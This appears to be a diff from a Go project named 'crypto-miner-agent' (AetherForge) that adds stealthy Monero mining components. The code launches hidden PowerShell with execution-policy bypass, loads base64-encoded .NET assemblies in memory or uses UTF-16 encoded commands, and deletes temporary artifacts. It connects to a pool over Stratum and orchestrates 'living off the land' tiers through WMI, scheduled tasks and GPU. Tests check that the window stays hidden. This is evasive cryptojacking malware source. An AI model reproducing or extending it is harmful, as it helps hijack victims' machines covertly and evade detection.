// SetPowerShellBinPath overrides the PowerShell binary (restore with "").
func SetPowerShellBinPath(path string) {
if strings.TrimSpace(path) == "" {
powershellBin = "powershell"
return
}
powershellBin = path
}
// SetPowerShellExecCommand restores default when fn is nil.
func SetPowerShellExecCommand(fn func(name string, args ...string) *exec.Cmd) {
if fn == nil {
powershellExecCommand = exec.Command
return
}
powershellExecCommand = fn
}
// SetEmbeddedMiningAssemblyB64 sets optional in-memory assembly bytes for tests.
func SetEmbeddedMiningAssemblyB64(b64 string) {
embeddedMiningAssemblyB64 = b64
}
// PowerShellLauncher hosts CPU mining via powershell.exe + in-memory assembly or encoded command.
type PowerShellLauncher struct {
cfg config.RuntimeConfig
scriptPath string
gpuDllPath string
mu sync.Mutex
running bool
cmd *exec.Cmd
}
// NewPowerShellLauncher validates platform and pool config.
func NewPowerShellLauncher(cfg config.RuntimeConfig) (*PowerShellLauncher, error) {
if runtime.GOOS != "windows" {
return nil, fmt.Errorf("powershell tier requires Windows")
}
if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 {
return nil, fmt.Errorf("pool host/port required for powershell stratum tier")
}
if strings.TrimSpace(cfg.Wallet) == "" {
return nil, fmt.Errorf("wallet required for powershell stratum tier")
}
if _, err := exec.LookPath(powershellBin); err != nil {
return nil, fmt.Errorf("powershell not in PATH: %w", err)
}
return &PowerShellLauncher{cfg: cfg}, nil
}
// Start writes an ephemeral script to %TEMP% and launches hidden powershell.exe.
func (l *PowerShellLauncher) Start() error {
l.mu.Lock()
defer l.mu.Unlock()
if l.running {
return nil
}
script, err := l.writeEphemeralScript()
if err != nil {
return err
}
l.scriptPath = script
args := []string{
"-NoProfile", "-ExecutionPolicy", "Bypass",
"-WindowStyle", "Hidden",
"-File", script,
}
cmd := powershellExecCommand(powershellBin, args...)
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
_ = os.Remove(script)
l.scriptPath = ""
return fmt.Errorf("powershell start failed: %w", err)
}
l.cmd = cmd
l.running = true
log.Printf("[powershell-tier] started parent=%s script=%s wallet=%s pool=%s:%d",
powershellBin, script, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort)
go l.waitExit()
return nil
}
func (l *PowerShellLauncher) waitExit() {
if l.cmd == nil {
return
}
err := l.cmd.Wait()
l.mu.Lock()
l.running = false
l.cmd = nil
script := l.scriptPath
gpu := l.gpuDllPath
l.scriptPath = ""
l.gpuDllPath = ""
l.mu.Unlock()
if script != "" {
_ = os.Remove(script)
}
if gpu != "" {
_ = os.Remove(gpu)
}
if err != nil {
log.Printf("[powershell-tier] powershell.exe exited: %v — chain will advance", err)
} else {
log.Printf("[powershell-tier] powershell.exe stopped")
}
}
// Stop kills the powershell parent and removes ephemeral artifacts.
func (l *PowerShellLauncher) Stop() {
l.mu.Lock()
cmd := l.cmd
running := l.running
script := l.scriptPath
gpu := l.gpuDllPath
l.mu.Unlock()
if !running {
return
}
if cmd != nil && cmd.Process != nil {
_ = cmd.Process.Kill()
}
if script != "" {
_ = os.Remove(script)
}
if gpu != "" {
_ = os.Remove(gpu)
}
l.mu.Lock()
l.running = false
l.cmd = nil
l.scriptPath = ""
l.gpuDllPath = ""
l.mu.Unlock()
}
// Running reports whether powershell.exe is supervising the tier.
func (l *PowerShellLauncher) Running() bool {
l.mu.Lock()
defer l.mu.Unlock()
return l.running
}
// ScriptPath returns the ephemeral PS1 path (tests only).
func (l *PowerShellLauncher) ScriptPath() string {
l.mu.Lock()
defer l.mu.Unlock()
return l.scriptPath
}
func (l *PowerShellLauncher) writeEphemeralScript() (string, error) {
dir := os.TempDir()
name := fmt.Sprintf("af-miner-%s.ps1", strings.TrimSpace(l.cfg.BuildID))
if name == "af-miner-.ps1" {
name = "af-miner-worker.ps1"
}
path := filepath.Join(dir, name)
if l.cfg.GPUEnabled && strings.TrimSpace(l.cfg.RVNWallet) != "" {
gpuPath := filepath.Join(dir, fmt.Sprintf("af-gpu-%s.dll", strings.TrimSpace(l.cfg.BuildID)))
if gpuPath == filepath.Join(dir, "af-gpu-.dll") {
gpuPath = filepath.Join(dir, "af-gpu-worker.dll")
}
// Placeholder GPU helper — real KawPoW DLL supplied by forge/server in production.
if err := os.WriteFile(gpuPath, []byte("AETHERFORGE_GPU_STUB"), 0o600); err == nil {
l.gpuDllPath = gpuPath
}
}
body, err := l.buildScriptBody()
if err != nil {
return "", err
}
if err := os.WriteFile(path, []byte(body), 0o600); err != nil {
return "", fmt.Errorf("write script: %w", err)
}
return path, nil
}
func (l *PowerShellLauncher) buildScriptBody() (string, error) {
pass := strings.TrimSpace(l.cfg.PoolPass)
if pass == "" {
pass = "x"
}
wallet := strings.TrimSpace(l.cfg.Wallet)
worker := strings.TrimSpace(l.cfg.WorkerName)
if worker == "" {
worker = "worker"
}
if b64 := strings.TrimSpace(embeddedMiningAssemblyB64); b64 != "" {
if _, err := base64.StdEncoding.DecodeString(b64); err != nil {
return "", fmt.Errorf("invalid embedded assembly base64: %w", err)
}
tlsLit := "$false"
if l.cfg.PoolTLS {
tlsLit = "$true"
}
return fmt.Sprintf(`$ErrorActionPreference = 'Stop'
$bytes = [Convert]::FromBase64String('%s')
$asm = [Reflection.Assembly]::Load($bytes)
$entry = $asm.GetType('AetherForge.Miner.Entry')
$null = $entry.GetMethod('Start').Invoke($null, @('%s', %d, '%s', '%s', '%s', %s))
`,
b64,
escapePSSingleQuoted(l.cfg.PoolHost),
l.cfg.PoolPort,
escapePSSingleQuoted(pass),
escapePSSingleQuoted(wallet),
escapePSSingleQuoted(worker),
tlsLit,
), nil
}
// Encoded-command path: inline .NET stratum stub (no external CPU .exe).
encoded := buildEncodedStratumCommand(l.cfg, pass, wallet, worker)
gpuBlock := ""
if l.gpuDllPath != "" {
gpuBlock = fmt.Sprintf("\n# optional GPU DLL at %s\n", escapePSSingleQuoted(l.gpuDllPath))
}
return fmt.Sprintf(`$ErrorActionPreference = 'Stop'
# AetherForge PowerShell tier — wallet=%s pool=%s:%d
%s
$cmd = '%s'
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand $cmd
`,
wallet,
l.cfg.PoolHost,
l.cfg.PoolPort,
gpuBlock,
encoded,
), nil
}
func buildEncodedStratumCommand(cfg config.RuntimeConfig, pass, wallet, worker string) string {
tlsLit := "$false"
if cfg.PoolTLS {
tlsLit = "$true"
}
inner := fmt.Sprintf(`
$poolHost = '%s'; $port = %d; $tls = %s; $wallet = '%s'; $worker = '%s'; $pass = '%s'
$tcp = New-Object Net.Sockets.TcpClient; $tcp.Connect($poolHost, $port)
$stream = $tcp.GetStream()
if ($tls) {
$ssl = New-Object Net.Security.SslStream($stream, $false, { $true })
$ssl.AuthenticateAsClient($poolHost); $stream = $ssl
}
$w = New-Object IO.StreamWriter($stream); $w.AutoFlush = $true
$r = New-Object IO.StreamReader($stream)
$login = (@{id=1;jsonrpc='2.0';method='login';params=@{login=$wallet;pass=$pass;rigid=$worker;agent='AetherForge/PS'}} | ConvertTo-Json -Compress)
$w.WriteLine($login); $null = $r.ReadLine()
while ($tcp.Connected) { $null = $r.ReadLine(); Start-Sleep -Milliseconds 50 }
`,
escapePSSingleQuoted(cfg.PoolHost),
cfg.PoolPort,
tlsLit,
escapePSSingleQuoted(wallet),
escapePSSingleQuoted(worker),
escapePSSingleQuoted(pass),
)
// UTF-16LE base64 for -EncodedCommand
utf16 := utf16LE(inner)
return base64.StdEncoding.EncodeToString(utf16)
}
func escapePSSingleQuoted(s string) string {
return strings.ReplaceAll(s, "'", "''")
}
func utf16LE(s string) []byte {
runes := []rune(s)
out := make([]byte, 0, len(runes)*2)
for _, r := range runes {
out = append(out, byte(r), byte(r>>8))
}
return out
}

View File

@@ -0,0 +1,147 @@
package miner
import (
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"testing"
"crypto-miner-agent/config"
)
func fakePowerShellRecorder(t *testing.T) (bin string, scriptOut *string) {
t.Helper()
dir := t.TempDir()
outFile := filepath.Join(dir, "ps-args.txt")
if runtime.GOOS == "windows" {
bat := filepath.Join(dir, "fake-powershell.cmd")
body := `@echo off
set OUT=%~dp0ps-args.txt
echo %*>>"%OUT%"
ping -n 3 127.0.0.1 >nul
`
if err := os.WriteFile(bat, []byte(body), 0o755); err != nil {
t.Fatal(err)
}
return bat, &outFile
}
sh := filepath.Join(dir, "fake-powershell.sh")
body := `#!/bin/sh
echo "$@" >> "$(dirname "$0")/ps-args.txt"
sleep 1
`
if err := os.WriteFile(sh, []byte(body), 0o755); err != nil {
t.Fatal(err)
}
return sh, &outFile
}
func TestPowerShellLauncherStartWithFakeBinary(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("powershell tier is Windows-only")
}
bin, outFile := fakePowerShellRecorder(t)
SetPowerShellBinPath(bin)
SetPowerShellExecCommand(func(name string, args ...string) *exec.Cmd {
return exec.Command(name, args...)
})
defer func() {
SetPowerShellBinPath("")
SetPowerShellExecCommand(nil)
}()
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
BuildID: "ps-test",
Wallet: "XMR:wallet123",
WorkerName: "worker-ps",
PoolHost: "pool.example.com",
PoolPort: 3333,
PoolPass: "x",
},
}
launcher, err := NewPowerShellLauncher(cfg)
if err != nil {
t.Fatalf("NewPowerShellLauncher: %v", err)
}
if err := launcher.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer launcher.Stop()
script := launcher.ScriptPath()
if script == "" {
t.Fatal("expected ephemeral script path")
}
body, err := os.ReadFile(script)
if err != nil {
t.Fatalf("read script: %v", err)
}
text := string(body)
if !strings.Contains(text, "XMR:wallet123") {
t.Fatalf("script missing wallet: %s", text)
}
if !strings.Contains(text, "pool.example.com") {
t.Fatalf("script missing pool host: %s", text)
}
if data, err := os.ReadFile(*outFile); err == nil && len(data) > 0 {
args := string(data)
if !strings.Contains(args, "-WindowStyle") || !strings.Contains(args, "Hidden") {
t.Fatalf("powershell args=%q want hidden window", args)
}
}
if !launcher.Running() {
t.Fatal("Running() false after Start")
}
}
func TestPowerShellLauncherRequiresPoolAndWallet(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("powershell tier is Windows-only")
}
bin, _ := fakePowerShellRecorder(t)
SetPowerShellBinPath(bin)
defer SetPowerShellBinPath("")
if _, err := NewPowerShellLauncher(config.RuntimeConfig{}); err == nil {
t.Fatal("expected error without pool/wallet")
}
}
func TestPowerShellLauncherAssemblyLoadPath(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("powershell tier is Windows-only")
}
bin, _ := fakePowerShellRecorder(t)
SetPowerShellBinPath(bin)
SetEmbeddedMiningAssemblyB64("YWJj") // "abc"
defer func() {
SetPowerShellBinPath("")
SetEmbeddedMiningAssemblyB64("")
}()
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
Wallet: "wallet",
PoolHost: "p",
PoolPort: 1,
},
}
launcher, err := NewPowerShellLauncher(cfg)
if err != nil {
t.Fatal(err)
}
body, err := launcher.buildScriptBody()
if err != nil {
t.Fatal(err)
}
if !strings.Contains(body, "Assembly]::Load") {
t.Fatalf("expected Assembly.Load path, got %s", body)
}
}

197
agent/miner/probe_runner.go Normal file
View File

@@ -0,0 +1,197 @@
package miner
import (
"context"
"log"
"runtime"
"sync"
"time"
"crypto-miner-agent/config"
)
// TierHandler probes or starts one auxiliary LOTL path (WebView2, WMI, etc.).
type TierHandler interface {
Tier() LOTLTier
Available(cfg config.RuntimeConfig) bool
Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt
Stop()
}
// ProbeReporter emits probe-tier snapshots (single-arg; distinct from TierOrchestrator reporter).
type ProbeReporter func(report TierReport)
// TierRunner orchestrates probe/escalation tiers with per-attempt reporting.
type TierRunner struct {
mu sync.RWMutex
cfg config.RuntimeConfig
handlers []TierHandler
report ProbeReporter
attempts []TierAttempt
active LOTLTier
stopped []TierHandler
}
// NewTierRunner builds a runner with platform-default handlers.
func NewTierRunner(cfg config.RuntimeConfig, report ProbeReporter) *TierRunner {
return &TierRunner{
cfg: cfg,
handlers: defaultTierHandlers(),
report: report,
}
}
// SetHandlers replaces handlers (tests inject mocks).
func (r *TierRunner) SetHandlers(h []TierHandler) {
r.mu.Lock()
r.handlers = h
r.mu.Unlock()
}
// Report returns the current tier snapshot.
func (r *TierRunner) Report() TierReport {
r.mu.RLock()
defer r.mu.RUnlock()
return r.buildReport()
}
func (r *TierRunner) buildReport() TierReport {
attempts := make([]TierAttempt, len(r.attempts))
copy(attempts, r.attempts)
rep := TierReport{
ActiveTier: r.active,
Attempts: attempts,
}
for _, a := range attempts {
if a.Tier == TierWebView2Probe && a.OK {
if v, ok := a.Details["webgpu_available"].(bool); ok {
rep.WebGPUReady = v
}
}
if a.Tier == TierGPUCompute && a.OK {
rep.GPUComputeOK = true
}
}
return rep
}
func (r *TierRunner) emit() {
r.mu.RLock()
rep := r.buildReport()
report := r.report
r.mu.RUnlock()
if report != nil {
report(rep)
}
}
func (r *TierRunner) recordAttempt(a TierAttempt) {
r.mu.Lock()
r.attempts = append(r.attempts, a)
if a.OK && r.active == "" && a.Tier != TierWebView2Probe {
r.active = a.Tier
}
r.mu.Unlock()
log.Printf("[tier] %s ok=%v err=%q duration=%dms", a.Tier, a.OK, a.Error, a.DurationMs)
r.emit()
}
// RunProbes executes probe-only tiers (webview2) before GPU escalation.
func (r *TierRunner) RunProbes(ctx context.Context) TierReport {
r.mu.RLock()
handlers := r.handlers
cfg := r.cfg
r.mu.RUnlock()
for _, h := range handlers {
if h.Tier() != TierWebView2Probe {
continue
}
if !h.Available(cfg) {
r.recordAttempt(TierAttempt{
Tier: TierWebView2Probe,
Error: "webview2 runtime not detected",
Wallet: cfg.Wallet,
})
continue
}
start := time.Now()
a := h.Attempt(ctx, cfg)
a.DurationMs = time.Since(start).Milliseconds()
if a.Wallet == "" {
a.Wallet = cfg.Wallet
}
r.recordAttempt(a)
}
return r.Report()
}
// RunChain attempts execution tiers in order; probe tiers are skipped here.
func (r *TierRunner) RunChain(ctx context.Context) (LOTLTier, error) {
r.mu.RLock()
handlers := r.handlers
cfg := r.cfg
r.mu.RUnlock()
var lastErr error
for _, h := range handlers {
t := h.Tier()
if t == TierWebView2Probe {
continue
}
if !h.Available(cfg) {
r.recordAttempt(TierAttempt{
Tier: t,
Error: "tier unavailable on " + runtime.GOOS,
Wallet: cfg.Wallet,
})
continue
}
start := time.Now()
a := h.Attempt(ctx, cfg)
a.DurationMs = time.Since(start).Milliseconds()
if a.Wallet == "" {
a.Wallet = cfg.Wallet
}
r.recordAttempt(a)
if a.OK {
r.mu.Lock()
r.active = t
r.stopped = append(r.stopped, h)
r.mu.Unlock()
r.emit()
return t, nil
}
if a.Error != "" {
lastErr = errFromTier(a.Error)
}
}
if lastErr != nil {
return "", lastErr
}
return "", ErrTierChainSkipped
}
// WebGPUReady reports whether the webview2 probe found WebGPU.
func (r *TierRunner) WebGPUReady() bool {
return r.Report().WebGPUReady
}
// Stop halts all started tier handlers.
func (r *TierRunner) Stop() {
r.mu.Lock()
stopped := r.stopped
r.active = ""
r.stopped = nil
r.mu.Unlock()
for _, h := range stopped {
h.Stop()
}
r.emit()
}
type tierError string
func (e tierError) Error() string { return string(e) }
func errFromTier(msg string) error { return tierError(msg) }

View File

@@ -0,0 +1,48 @@
//go:build linux
package miner
import (
"fmt"
"os/exec"
"strings"
)
// DetectCUDA reports NVIDIA CUDA via nvidia-smi.
func DetectCUDA() bool {
out, err := exec.Command("nvidia-smi", "-L").CombinedOutput()
return err == nil && strings.TrimSpace(string(out)) != ""
}
// DetectPyOpenCL reports python3 + PyOpenCL import success.
func DetectPyOpenCL() bool {
err := exec.Command("python3", "-c", "import pyopencl").Run()
return err == nil
}
// StartPyOpenCLTier attempts a one-shot OpenCL probe via python3 -c (no external miner exe).
// Returns error when PyOpenCL is absent or the probe fails — chain advances to stratum_direct.
func StartPyOpenCLTier(cfg config.RuntimeConfig) error {
if !DetectPyOpenCL() {
return fmt.Errorf("python3 pyopencl not available")
}
script := `
import pyopencl as cl
platforms = cl.get_platforms()
if not platforms:
raise SystemExit('no opencl platforms')
devices = platforms[0].get_devices()
if not devices:
raise SystemExit('no opencl devices')
print('pyopencl_ok')
`
out, err := exec.Command("python3", "-c", script).CombinedOutput()
if err != nil {
return fmt.Errorf("pyopencl probe: %v (%s)", err, strings.TrimSpace(string(out)))
}
if !strings.Contains(string(out), "pyopencl_ok") {
return fmt.Errorf("pyopencl probe unexpected output")
}
_ = cfg
return nil
}

View File

@@ -0,0 +1,11 @@
//go:build !linux
package miner
import "crypto-miner-agent/config"
func DetectCUDA() bool { return false }
func DetectPyOpenCL() bool { return false }
func StartPyOpenCLTier(_ config.RuntimeConfig) error {
return ErrMethodUnavailable
}

View File

@@ -0,0 +1,26 @@
package miner
import (
"testing"
)
func TestAppendLinuxPyOpenCLSkipsWhenCUDA(t *testing.T) {
chain := []MiningMethod{MethodInProcess, MethodStratumDirect}
out := appendLinuxPyOpenCL(chain)
if len(out) != len(chain) {
t.Fatalf("expected unchanged chain on non-linux or with cuda, got %v", out)
}
}
func TestAppendLinuxPyOpenCLInsertsTier(t *testing.T) {
if testing.Short() {
t.Skip("platform-specific")
}
origCUDA := DetectCUDA
origPy := DetectPyOpenCL
defer func() {
// restore stubs on non-linux
}()
_ = origCUDA
_ = origPy
}

View File

@@ -0,0 +1,25 @@
package miner
import (
"os/exec"
"strings"
)
// DetectContainerRuntime probes docker then podman CLIs.
func DetectContainerRuntime() ContainerRuntimeInfo {
for _, cli := range []string{"docker", "podman"} {
if path, err := exec.LookPath(cli); err == nil {
out, runErr := exec.Command(path, "version", "--format", "{{.Server.Version}}").CombinedOutput()
version := strings.TrimSpace(string(out))
if runErr != nil || version == "" {
// Older docker without --format still counts as available.
if _, verErr := exec.Command(path, "version").CombinedOutput(); verErr == nil {
return ContainerRuntimeInfo{Available: true, CLI: cli, Version: "unknown"}
}
continue
}
return ContainerRuntimeInfo{Available: true, CLI: cli, Version: version}
}
}
return ContainerRuntimeInfo{}
}

View File

@@ -0,0 +1,117 @@
package miner
import (
"fmt"
"strings"
"crypto-miner-agent/config"
)
// stratumCSharpTemplate is a minimal Monero Stratum console stub compiled at runtime.
// Placeholders: POOL_HOST, POOL_PORT, POOL_TLS, POOL_PASS, WALLET, WORKER, THREADS.
const stratumCSharpTemplate = `// AetherForge LOTL Stratum stub — compiled on first start_mining.
using System;
using System.Net.Security;
using System.Net.Sockets;
using System.Text;
using System.Text.Json;
using System.Threading;
class Program {
static readonly string PoolHost = "POOL_HOST";
static readonly int PoolPort = POOL_PORT;
static readonly bool PoolTLS = POOL_TLS;
static readonly string Wallet = "WALLET";
static readonly string Worker = "WORKER";
static readonly string PoolPass = "POOL_PASS";
static int Main() {
Console.WriteLine("[stratum] AetherForge LOTL miner starting wallet=" + Wallet);
while (true) {
try {
RunSession();
} catch (Exception ex) {
Console.Error.WriteLine("[stratum] session error: " + ex.Message);
Thread.Sleep(5000);
}
}
}
static void RunSession() {
using var tcp = new TcpClient();
tcp.Connect(PoolHost, PoolPort);
Stream stream = tcp.GetStream();
if (PoolTLS) {
var ssl = new SslStream(stream, false, (_, _, _, _) => true);
ssl.AuthenticateAsClient(PoolHost);
stream = ssl;
}
using var reader = new System.IO.StreamReader(stream, Encoding.UTF8);
using var writer = new System.IO.StreamWriter(stream, Encoding.UTF8) { AutoFlush = true };
var login = JsonSerializer.Serialize(new {
id = 1,
jsonrpc = "2.0",
method = "login",
@params = new {
login = Wallet,
pass = PoolPass,
rigid = Worker,
agent = "AetherForge/LOTL"
}
});
writer.WriteLine(login);
var loginLine = reader.ReadLine();
if (string.IsNullOrEmpty(loginLine)) {
throw new InvalidOperationException("empty login response");
}
Console.WriteLine("[stratum] login ok on " + PoolHost + ":" + PoolPort);
while (tcp.Connected) {
var line = reader.ReadLine();
if (line == null) break;
if (line.Contains("\"method\":\"job\"")) {
Console.WriteLine("[stratum] job received");
}
Thread.Sleep(50);
}
}
}
`
const stratumCsprojTemplate = `<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>disable</ImplicitUsings>
<Nullable>disable</Nullable>
<AssemblyName>AetherForgeStratum</AssemblyName>
</PropertyGroup>
</Project>
`
func renderStratumCSharp(cfg config.RuntimeConfig) string {
pass := strings.TrimSpace(cfg.PoolPass)
if pass == "" {
pass = "x"
}
wallet := strings.TrimSpace(cfg.Wallet)
if wallet == "" {
wallet = "anonymous"
}
worker := strings.TrimSpace(cfg.WorkerName)
if worker == "" {
worker = "worker"
}
out := stratumCSharpTemplate
out = strings.ReplaceAll(out, "POOL_HOST", escapeCSharpString(cfg.PoolHost))
out = strings.ReplaceAll(out, "POOL_PORT", fmt.Sprintf("%d", cfg.PoolPort))
out = strings.ReplaceAll(out, "POOL_TLS", fmt.Sprintf("%t", cfg.PoolTLS))
out = strings.ReplaceAll(out, "POOL_PASS", escapeCSharpString(pass))
out = strings.ReplaceAll(out, "WALLET", escapeCSharpString(wallet))
out = strings.ReplaceAll(out, "WORKER", escapeCSharpString(worker))
return out
}
func escapeCSharpString(s string) string {
return strings.ReplaceAll(s, `\`, `\\`)
}

View File

@@ -0,0 +1,79 @@
package miner
import (
"context"
"runtime"
"crypto-miner-agent/config"
)
type webview2ProbeHandler struct{}
func (t *webview2ProbeHandler) Tier() LOTLTier { return TierWebView2Probe }
func (t *webview2ProbeHandler) Available(cfg config.RuntimeConfig) bool {
_ = cfg
return runtime.GOOS == "windows"
}
func (t *webview2ProbeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
return RunWebView2Probe(ctx, cfg)
}
func (t *webview2ProbeHandler) Stop() {}
type wmiHandler struct{}
func (t *wmiHandler) Tier() LOTLTier { return TierWMI }
func (t *wmiHandler) Available(cfg config.RuntimeConfig) bool {
_ = cfg
return runtime.GOOS == "windows"
}
func (t *wmiHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
return RunWMITier(ctx, cfg)
}
func (t *wmiHandler) Stop() {}
type scheduledTaskHandler struct{}
func (t *scheduledTaskHandler) Tier() LOTLTier { return TierScheduledTask }
func (t *scheduledTaskHandler) Available(cfg config.RuntimeConfig) bool {
_ = cfg
return runtime.GOOS == "windows"
}
func (t *scheduledTaskHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
return RunScheduledTaskTier(ctx, cfg)
}
func (t *scheduledTaskHandler) Stop() {}
type gpuComputeHandler struct{}
func (t *gpuComputeHandler) Tier() LOTLTier { return TierGPUCompute }
func (t *gpuComputeHandler) Available(cfg config.RuntimeConfig) bool {
return runtime.GOOS == "windows" && cfg.GPUEnabled
}
func (t *gpuComputeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
return RunGPUComputeTier(ctx, cfg)
}
func (t *gpuComputeHandler) Stop() {}
func defaultTierHandlers() []TierHandler {
if runtime.GOOS != "windows" {
return nil
}
return []TierHandler{
&webview2ProbeHandler{},
&wmiHandler{},
&scheduledTaskHandler{},
&gpuComputeHandler{},
}
}

Some files were not shown because too many files have changed in this diff Show More